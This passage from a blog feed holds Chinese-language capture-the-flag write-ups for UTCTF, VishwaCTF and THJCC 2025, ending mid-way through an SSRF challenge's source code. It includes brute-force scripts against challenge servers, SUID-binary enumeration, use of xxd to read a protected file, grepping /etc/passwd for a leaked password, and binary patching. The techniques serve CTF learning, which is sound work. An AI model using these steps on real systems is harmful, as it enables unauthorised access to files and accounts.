&lt;p&gt;我們先手動測試一個範圍，最後寫個二分搜就可以了!&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import requests

def get_distance(lat, lon, uuid):
    url = f&amp;quot;https://numberchamp-challenge.utctf.live/match?uuid={uuid}&amp;amp;lat={lat}&amp;amp;lon={lon}&amp;quot;
    headers = {
        &amp;quot;Accept&amp;quot;: &amp;quot;*/*&amp;quot;,
        &amp;quot;Referer&amp;quot;: &amp;quot;https://numberchamp-challenge.utctf.live/&amp;quot;,
        &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36&amp;quot;
    }
    response = requests.post(url, headers=headers)
    if response.status_code == 200:
        return response.json().get(&amp;quot;distance&amp;quot;, float(&amp;quot;inf&amp;quot;))
    return float(&amp;quot;inf&amp;quot;)

def find_best_coordinates(uuid, lat=40, lon=-83.5, step=0.1, max_iterations=100):
    best_lat, best_lon = lat, lon
    min_distance = get_distance(lat, lon, uuid)

    for _ in range(max_iterations):
        for dlat in [-step, 0, step]:
            for dlon in [-step, 0, step]:
                new_lat, new_lon = best_lat + dlat, best_lon + dlon
                distance = get_distance(new_lat, new_lon, uuid)
                print(f&amp;quot;Trying lat: {new_lat}, lon: {new_lon} -&amp;gt; distance: {distance}&amp;quot;)

                if distance &amp;lt; min_distance:
                    min_distance = distance
                    best_lat, best_lon = new_lat, new_lon

        if min_distance == 0:
            break

        step /= 2  

    return best_lat, best_lon, min_distance

uuid = &amp;quot;bbea5a2e-2537-4c0f-a49d-33ccd046c038&amp;quot;
lat, lon, distance = find_best_coordinates(uuid)
print(f&amp;quot;Best coordinates: lat={lat}, lon={lon}, distance={distance}&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;del&gt;腳本 AI 力量&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;最後把找到的經緯度拿去搜尋&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python!&quot;&gt;Best coordinates: lat=39.940418395028665, lon=-82.99669527523196, distance=0.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/Sye4vgS3ye.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;就是這間了!&lt;/p&gt;
&lt;p&gt;&lt;code&gt;utflag{1059-s-high-st-columbus-43206}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;OTP&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python!&quot;&gt;Find your One True Pairing on this new site I made! Whoever has the closest OTP to the &amp;quot;flag&amp;quot; will get their very own date!

This problem resets every 30 minutes.

By Sasha (@kyrili on discord)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一樣是黑箱，我們先來看看功能。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;register&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /index.php

username=123&amp;amp;password=123
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;指定兩人配對分數&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /index.php

username1=123&amp;amp;username2=321


---output---

The pairing for 123 and 321 is: 6
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;搜尋全部人配對分數&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /index.php

usernamesearch=flag

---output---
flag x flag: 0
az6_18539 x flag: 207
az6_18529 x flag: 207
az6_18530 x flag: 207
az6_18531 x flag: 207
az6_18532 x flag: 207
az6_18518 x flag: 207
az6_18519 x flag: 207
az6_18520 x flag: 207
az6_18521 x flag: 207
az6_18522 x flag: 207
az6_18523 x flag: 207
az6_18524 x flag: 207
az6_18551 x flag: 207
123 x flag: 2274
321 x flag: 2274
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然後真正的 flag 是 flag，在這邊都還看不出 flag 在哪。&lt;/p&gt;
&lt;p&gt;一開始我以為要 sqli，但怎麼注入都不行，註冊那邊他甚至會跟你說：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php!&quot;&gt;Invalid user/secret combo. Usernames and secrets can only contain alphanumeric characters, underscore, and curly braces. Usernames must be 1-16 characters long and secrets must be 1-32 characters long.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;...等等，特殊字元，又有比對分數系統，我通靈出分數的計算條件可能是判斷兩個人的密碼夠不夠接近，若越接近分數則越小。(因為剛剛可以看出 flag x flag = 0)&lt;/p&gt;
&lt;p&gt;&lt;del&gt;這邊我通靈超久&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;馬上來實驗看看&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python!&quot;&gt;username=soaruser1&amp;amp;password=utf // reg

soaruser1 x flag : 2051 

username=soaruser2&amp;amp;password=utfl //reg

soaruser2 x flag : 1943

username=soarbutchardif&amp;amp;password=utfk //reg for ascii different

soarbutchardif x flag : 1950
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;賓果，密碼越相近，分數越低。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;繼續寫 python 來爆破。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import requests
import random
import string
from pwn import info

def generate_random_username():
    try:
        username_length = random.randint(8, 16)
        valid_chars = string.ascii_letters + string.digits + &amp;quot;_{}&amp;quot;
        return &amp;#39;&amp;#39;.join(random.choices(valid_chars, k=username_length))
    except Exception as e:
        print(f&amp;quot;Error in generate_random_username: {e}&amp;quot;)
        return None

def register(username, password):
    url = &amp;#39;http://challenge.utctf.live:3725/index.php&amp;#39;
    data = {&amp;#39;username&amp;#39;: username, &amp;#39;password&amp;#39;: password}

    try:
        response = requests.post(url, data=data, timeout=3)
        if f&amp;quot;Successfully registered {username}&amp;quot; in response.text:
            print(f&amp;quot;Successfully registered {username}&amp;quot;)
        else:
            print(f&amp;quot;Registration failed for {username}&amp;quot;)
    except requests.exceptions.Timeout:
        print(f&amp;quot;Timeout occurred during registration for {username}. Retrying...&amp;quot;)
        return False
    except Exception as e:
        print(f&amp;quot;Error during registration for {username}: {e}&amp;quot;)
        return False

    return True

def compare_score(username1, username2):
    url = &amp;#39;http://challenge.utctf.live:3725/index.php&amp;#39;
    data = {&amp;#39;username1&amp;#39;: username1, &amp;#39;username2&amp;#39;: username2}

    try:
        response = requests.post(url, data=data, timeout=2)
        if &amp;#39;The pairing for&amp;#39; in response.text:
            score = int(response.text.split(&amp;#39;The pairing for&amp;#39;)[1].split(&amp;#39;is:&amp;#39;)[1].split(&amp;#39;&amp;lt;/p&amp;gt;&amp;#39;)[0].strip())
            return score
    except requests.exceptions.Timeout:
        print(&amp;quot;Timeout occurred during score comparison. Retrying...&amp;quot;)
        return None
    except Exception as e:
        print(f&amp;quot;Error during score comparison: {e}&amp;quot;)
        return None

    return None

def search(now_flag_state):
    valid_chars = string.ascii_letters + string.digits + &amp;quot;_{}&amp;quot;
    less_score = 100000
    ans_char = &amp;#39;&amp;#39;

    for i in valid_chars:
        try:
            print(f&amp;quot;Trying character: {i}&amp;quot;)
            random_username = generate_random_username()
            if random_username is None:
                print(&amp;quot;Error generating random username. Skipping iteration.&amp;quot;)
                continue

            register(random_username, now_flag_state + i)
            score = compare_score(random_username, &amp;#39;flag&amp;#39;)
            if score is None:
                print(f&amp;quot;Error comparing score for {random_username}. Skipping.&amp;quot;)
                continue

            print(&amp;quot;[+]&amp;quot; + str(score))
            if score &amp;lt; less_score:
                print(f&amp;quot;Found character: {i}, with score: {score}&amp;quot;)
                less_score = score
                ans_char = i
        except Exception as e:
            print(f&amp;quot;Error in search iteration for character &amp;#39;{i}&amp;#39;: {e}&amp;quot;)

    print(f&amp;quot;Ans: {ans_char}, with score: {less_score}&amp;quot;)

search(&amp;#39;utflag{On3_sT3P_4t_4_t1m3}&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我這樣寫是因為他很長送到一半就 timeout，所以我一個一個送多跑幾次。&lt;/p&gt;
&lt;h2&gt;賽後解&lt;/h2&gt;
&lt;h3&gt;Misc - Trapped in Plain Sight 1&lt;/h3&gt;
&lt;p&gt;一個 ssh 機器，讓你連上去&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;trapped@47ca6c33ca55:~$ ls -al
total 32
dr-xr-xr-x 1 trapped  trapped  4096 Mar 14 19:23 .
dr-xr-xr-x 1 root     root     4096 Mar 14 19:23 ..
-r--r--r-- 1 trapped  trapped   220 Feb 25  2020 .bash_logout
-r--r--r-- 1 trapped  trapped  3771 Feb 25  2020 .bashrc
-r--r--r-- 1 trapped  trapped   807 Feb 25  2020 .profile
-r-x------ 1 noaccess noaccess   28 Mar 14 19:23 flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;恩沒權限? 那來看看有啥特別的 UID 我們可以用 &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;trapped@47ca6c33ca55:~$ find / -perm -4000 -type f 2&amp;gt;/dev/null
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/su
/usr/bin/chfn
/usr/bin/mount
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/xxd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好耶 &lt;code&gt;xxd&lt;/code&gt; 直接讀檔&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;trapped@47ca6c33ca55:~$ xxd flag.txt
00000000: 7574 666c 6167 7b53 7065 6369 614c 5f50  utflag{SpeciaL_P
00000010: 6572 6d69 7373 696f 6e7a 7d0a            ermissionz}.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Misc - Trapped in Plain Sight 2&lt;/h3&gt;
&lt;p&gt;上一題的 revenge，進去後一樣先 &lt;code&gt;ls -al&lt;/code&gt; 看看&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;trapped@30ea1b120183:~$ ls -al
total 36
dr-xr-xr-x  1 trapped trapped 4096 Mar 14 19:23 .
dr-xr-xr-x  1 root    root    4096 Mar 14 19:23 ..
-r--r--r--  1 trapped trapped  220 Feb 25  2020 .bash_logout
-r--r--r--  1 trapped trapped 3771 Feb 25  2020 .bashrc
-r--r--r--  1 trapped trapped  807 Feb 25  2020 .profile
----r-----+ 1 root    root      28 Mar 14 19:23 flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;沒看過的 &lt;code&gt;+&lt;/code&gt; 號，上網查一下，發現那是 &lt;code&gt;ACL&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ACL (Access Control List, 存取控制清單)，這表示除了 rwx 權限之外，還有額外的權限設定。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;那我們用 &lt;code&gt;getfacl&lt;/code&gt; &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;trapped@30ea1b120183:~$ getfacl flag.txt
# file: flag.txt
# owner: root
# group: root
user::---
user:secretuser:r--
group::---
mask::r--
other::---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到有個 &lt;code&gt;secretuser&lt;/code&gt;，來看看他的 &lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;trapped@30ea1b120183:~$ cat /etc/passwd | grep secretuser
secretuser:x:1001:1001:hunter2:/home/secretuser:/bin/sh
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;hunter2 ? 那是啥? 通靈感覺是密碼...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;trapped@30ea1b120183:~$ su secretuser
Password:
$ ls
flag.txt
$ cat flag.txt
utflag{4ccess_unc0ntroll3d}
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://solarfish.me/blog/utctf2025/&quot;&gt;https://solarfish.me/blog/utctf2025/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>solarfish</dc:creator><pubDate>Sat, 17 May 2025 00:00:00 GMT</pubDate></item><item><title>VishwaCTF 2025 Rev Writeup</title><link>https://solarfish.me/blog/vishwactf2025/</link><guid isPermaLink="true">https://solarfish.me/blog/vishwactf2025/</guid><description>有點通靈的比賽，但至少 Reverse 不會太通。</description><content:encoded>&lt;h2&gt;Reverse&lt;/h2&gt;
&lt;h3&gt;snake&lt;/h3&gt;
&lt;p&gt;一開始會少 &lt;code&gt;libstdc++-6.dll&lt;/code&gt; 跟 &lt;code&gt;libgcc_s_dw2-1.dll&lt;/code&gt; 這兩個，所以沒辦法跑起來，直接用 MINGW64 裝就可以了。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;跑起來後可以看到是一個貪吃蛇的遊戲。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/B16IGOLs1x.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;你是那個 &lt;code&gt;O&lt;/code&gt;，然後吃到 &lt;code&gt;F&lt;/code&gt; 就可以加一分
把他拖進 IDA 看看吧！&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp=&quot;&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  __time32_t v3; // eax
  int v4; // eax
  int v5; // ebx
  int v6; // eax
  int v7; // eax
  int v9; // [esp-Ch] [ebp-10h]
  int v10; // [esp-8h] [ebp-Ch]

  __main();
  v3 = time(0);
  srand(v3);
  HIDE_CURSOR();
  INIT_GAME();
  SPAWN_FOOD();
  while ( !GAME_OVER )
  {
    if ( _kbhit() )
    {
      v4 = _getch();
      if ( v4 == 100 )
      {
        DX = 1;
        DY = 0;
      }
      else if ( v4 &amp;gt; 100 )
      {
        if ( v4 == 115 )
        {
          DX = 0;
          DY = 1;
        }
        else if ( v4 == 119 )
        {
          DX = 0;
          DY = -1;
        }
      }
      else if ( v4 == 97 )
      {
        DX = -1;
        DY = 0;
      }
    }
    MOVE_SNAKE();
    DRAW_GAME();
    if ( CHAKDE == 9999 )
      SHOW_FLAG();
    Sleep(0x64u);
  }
  v5 = CHAKDE;
  v6 = std::operator&amp;lt;&amp;lt;&amp;lt;std::char_traits&amp;lt;char&amp;gt;&amp;gt;(&amp;amp;std::cout, &amp;quot;Game Over! Score: &amp;quot;, v9, v10);
  v7 = std::ostream::operator&amp;lt;&amp;lt;(v6, v5);
  std::ostream::operator&amp;lt;&amp;lt;(v7, &amp;amp;std::endl&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;其實蠻直觀的，會先設定好 GAME 的一些東西後開始遊戲。&lt;/li&gt;
&lt;li&gt;當 &lt;code&gt;CHAKDE == 9999&lt;/code&gt; 時就會顯示 FLAG。&lt;/li&gt;
&lt;li&gt;不難猜出 CHAKDE 應該就是分數。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但問題是我們地圖畫面就這麼小，正常玩是不可能的。
我這邊的想法是用 gdb 讓他跑到遊戲都設置好後，跳過去 show_flag 那邊就可以獲得 FLAG 了。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;flag 的位址&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp=&quot;&gt;.text:004019A1 ; int SHOW_FLAG(void)
.text:004019A1                 public __Z9SHOW_FLAGv
.text:004019A1 __Z9SHOW_FLAGv  proc near               ; CODE XREF: _main+E4↓p
.text:004019A1
.text:004019A1 var_20          = byte ptr -20h
.text:004019A1 var_4           = dword ptr -4
.text:004019A1
.text:004019A1 ; __unwind { // ___gxx_personality_v0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/HkQa4_Uokx.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先執行到把地圖、什麼的都用好。&lt;/li&gt;
&lt;li&gt;開空白鍵直接 &lt;code&gt;jmp 0x004019A1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/B1wGS_Is1e.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;跳過去之後 flag 就出現在 EAX 了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/rkb4H_Uiyg.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;VishwaCTF{th3r3_4r3_5n4k35_all_4r0und}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;safe box&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/SyxjSOUs1g.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一個實作保險箱的 Unity 遊戲，可以讓你輸入密碼甚麼的 (你輸入太多還會跟你講你輸入太多次)&lt;/li&gt;
&lt;li&gt;dnspy 打開直接開逆。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/ryXKUdIskx.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不想逆了 @@&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而且用 dnspy 執行還要 patch 他的 mono dll 好麻煩&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://flydragonw.github.io/posts/unity_reverse_3/&quot;&gt;飛龍的部落格有超猛的教學&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;MelonLoader&lt;/code&gt; + &lt;code&gt;UnityExplorer&lt;/code&gt; 根本就像開掛一樣&lt;/p&gt;
&lt;p&gt;我裝起來之後打開遊戲，用一個叫 object explorer 的功能
直接把保險箱刪掉就可以看到 FLAG 了！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/SJ_uDdUoyl.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/Bk-iwdIokx.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;點進去左邊，把 gameobject destroy&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/BysnP_LsJx.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;VishwaCTF{h3r3_y0u_@r3}&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://solarfish.me/blog/vishwactf2025/&quot;&gt;https://solarfish.me/blog/vishwactf2025/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>solarfish</dc:creator><pubDate>Sat, 17 May 2025 00:00:00 GMT</pubDate></item><item><title>THJCC 2025 Official-Writeup</title><link>https://solarfish.me/blog/thjcc_2025/</link><guid isPermaLink="true">https://solarfish.me/blog/thjcc_2025/</guid><description>THJCC 2025 的官方題解</description><content:encoded>&lt;h2&gt;Reverse&lt;/h2&gt;
&lt;h3&gt;time_GEM&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;tag : rev,easy

I used the Time GEM to put the flag to sleep...
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;p&gt;主要的考點是 patch (&lt;del&gt;所以出的像是 AIS3 某一題&lt;/del&gt;)&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;先來執行看看：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;soar@universe:/mnt/c/Users/tusoar/Downloads$ ./time_gem_rev
I used the Time GEM to put the flag to sleep...
Hope you can wake it up!
------------------------------splitline!-----------------------------------
T
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;恩...輸出一個 &lt;code&gt;T&lt;/code&gt; 就停住了
來拖進 IDA 看一下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  puts(&amp;quot;I used the Time GEM to put the flag to sleep...&amp;quot;);
  puts(&amp;quot;Hope you can wake it up!&amp;quot;);
  puts(&amp;quot;------------------------------splitline!-----------------------------------&amp;quot;);
  time_gem(&amp;quot;------------------------------splitline!-----------------------------------&amp;quot;, argv);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;time_gem&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;unsigned __int64 power()
{
  void *v0; // rsp
  __int64 v2; // [rsp+8h] [rbp-160h] BYREF
  int i; // [rsp+10h] [rbp-158h]
  int v4; // [rsp+14h] [rbp-154h]
  int v5; // [rsp+18h] [rbp-150h]
  int v6; // [rsp+1Ch] [rbp-14Ch]
  char *s; // [rsp+20h] [rbp-148h]
  __int64 v8; // [rsp+28h] [rbp-140h]
  __int64 *v9; // [rsp+30h] [rbp-138h]
  _BYTE v10[280]; // [rsp+38h] [rbp-130h] BYREF
  unsigned __int64 v11; // [rsp+150h] [rbp-18h]

  v11 = __readfsqword(0x28u);
  qmemcpy(v10, &amp;amp;unk_2060, 0x10CuLL);
  v4 = 67;
  s = &amp;quot;THJCCISSOGOODIMNOTTHEFLAG!!!&amp;quot;;
  v8 = 67LL;
  v0 = alloca(80LL);
  v9 = &amp;amp;v2;
  v5 = strlen(&amp;quot;THJCCISSOGOODIMNOTTHEFLAG!!!&amp;quot;);
  for ( i = 0; i &amp;lt; v4; ++i )
  {
    v6 = s[i % v5] ^ (i % 256);
    *((_BYTE *)v9 + i) = v6 ^ v10[4 * i];
    printf(&amp;quot;%c\n&amp;quot;, (unsigned int)*((char *)v9 + i));
    sleep(0x1337u);
  }
  return v11 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到他對資料進行的某些操作，並會把他一個一個字元的印出來 (猜測是 FLAG)
但他在每個字元做完後會睡 &lt;code&gt;0x1337&lt;/code&gt; 秒&lt;/p&gt;
&lt;p&gt;這時候我們可以善用 IDA 的 patch 功能，把睡的秒數用掉就好了&lt;/p&gt;
&lt;p&gt;先打開組語視窗並找到要呼叫 &lt;code&gt;_sleep&lt;/code&gt; 那邊，可以看到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/B1ttZUQ1xe.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;1337h&lt;/code&gt; 就是要睡的秒數&lt;/p&gt;
&lt;p&gt;這邊我是用 &lt;code&gt;Edit -&amp;gt; Patch program -&amp;gt; Assemble&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/S1sCWLXygx.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;改成 0h 後按 OK&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/HyHbf8mJeg.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;最後按 &lt;code&gt;Edit -&amp;gt; Patch program -&amp;gt; Apply patches to input file...&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;再去執行一次程式後就看到 FLAG 跑出來了~&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;soar@universe:/mnt/c/Users/tusoar/Downloads$ ./time_gem_rev
I used the Time GEM to put the flag to sleep...
Hope you can wake it up!
------------------------------splitline!-----------------------------------
T
H
J
C
C
{
H
0
w
_
I
_
e
n
V
Y
_
4
N
d
_
W
1
5
H
_
r
e
4
L
1
7
Y
_
k
0
u
L
d
_
4
L
5
0
_
k
0
N
7
R
0
l
_
T
I
M
E
-
-
&amp;gt;
=
.
=
!
!
!
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;del&gt;或是你可以硬逆回來也不是不行&lt;/del&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THJCC{H0w_I_enVY_4Nd_W15H_re4L17Y_k0uLd_4L50_k0N7R0l_TIME--&amp;gt;=.=!!!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Web&lt;/h2&gt;
&lt;h3&gt;Headless&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;tag : web,easy

I think robots are headless, but you are a real human, right?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;觀察一下，是個甚麼都沒有的網頁，但題目有提示你要去 &lt;code&gt;robots.txt&lt;/code&gt; 裡面有個 &lt;code&gt;/hum4n-0nLy&lt;/code&gt; 的 route&lt;/p&gt;
&lt;p&gt;進去之後會發現它其實是這題的 source code：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from flask import Flask, request, render_template, Response
from flag import FLAG

app = Flask(__name__)

@app.route(&amp;#39;/&amp;#39;)
def index():
    return render_template(&amp;#39;index.html&amp;#39;)

@app.route(&amp;#39;/robots.txt&amp;#39;)
def noindex():
    r = Response(
        response=&amp;quot;User-Agent: *\nDisallow: /hum4n-0nLy\n&amp;quot;,
        status=200,
        mimetype=&amp;quot;text/plain&amp;quot;
    )
    r.headers[&amp;quot;Content-Type&amp;quot;] = &amp;quot;text/plain; charset=utf-8&amp;quot;
    return r

@app.route(&amp;#39;/hum4n-0nLy&amp;#39;)
def source_code():
    return open(__file__).read()

@app.route(&amp;#39;/r0b07-0Nly-9e925dc2d11970c33393990e93664e9d&amp;#39;)
def secret_flag():
    if len(request.headers) &amp;gt; 1:
        return &amp;quot;I&amp;#39;m sure robots are headless, but you are not a robot, right?&amp;quot;
    return FLAG

if __name__ == &amp;#39;__main__&amp;#39;:
    app.run(host=&amp;#39;0.0.0.0&amp;#39;, port=80, debug=False)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有個 &lt;code&gt;/r0b07-0Nly-9e925dc2d11970c33393990e93664e9d&lt;/code&gt; 可以獲得 FLAG，但請求標頭不能大於一，這邊可以用很多方法送 curl,nc,burp suite... 都可以！&lt;/p&gt;
&lt;p&gt;這邊示範用 burp suite 送&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/SknZUImkel.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;唯一的坑點應該就是如果你用 &lt;code&gt;burp suite&lt;/code&gt; 送，最後那邊應該要兩個 &lt;code&gt;\r\n&lt;/code&gt; 不然會卡住&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THJCC{Rob0t_r=@lways_he@dl3ss...}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;proxy | under_development&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;tag : web,hard

More verification! More features!

Bypass the impossible verification logic and try to fetch secret.flag.thjcc.tw/flag to get the FLAG!
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;p&gt;沒錯，&lt;del&gt;流量轉發到別人家的題目又來了&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;上次說要出 revenge 後原本想找 1day 來出，但發現這樣好像不太好玩，所以這題就變成各種玩 url 的小花招 (&lt;del&gt;如果你平常很閒沒事一直玩 url 應該很快就可以解出來&lt;/del&gt;)&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;先來看 source code：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const express = require(&amp;#39;express&amp;#39;);
const http = require(&amp;#39;http&amp;#39;);
const https = require(&amp;#39;https&amp;#39;);
const path = require(&amp;#39;path&amp;#39;);
const urlModule = require(&amp;#39;url&amp;#39;);
const dns = require(&amp;#39;dns&amp;#39;);
const { http: followHttp, https: followHttps } = require(&amp;#39;follow-redirects&amp;#39;);

const app = express();
app.use(express.json());
app.use(express.static(path.join(__dirname, &amp;#39;public&amp;#39;)));

app.get(&amp;#39;/&amp;#39;, (req, res) =&amp;gt; {
    res.sendFile(path.join(__dirname, &amp;#39;public&amp;#39;, &amp;#39;index.html&amp;#39;));
});

function CheckSeheme(scheme) {
    return scheme.startsWith(&amp;#39;http://&amp;#39;) || scheme.startsWith(&amp;#39;https://&amp;#39;);
}

app.get(&amp;#39;/fetch&amp;#39;, (req, res) =&amp;gt; {
    const scheme = req.query.scheme;
    const host = req.query.host;
    const path = req.query.path;
    if (!scheme || !host || !path) {
        return res.status(400).send(&amp;#39;Missing parameters&amp;#39;);
    }
    const client = scheme.startsWith(&amp;#39;https&amp;#39;) ? followHttps : followHttp;
    const fixedhost = &amp;#39;extra-&amp;#39; + host + &amp;#39;.cggc.chummy.tw&amp;#39;;

    if (CheckSeheme(scheme.toLocaleLowerCase().trim())) {
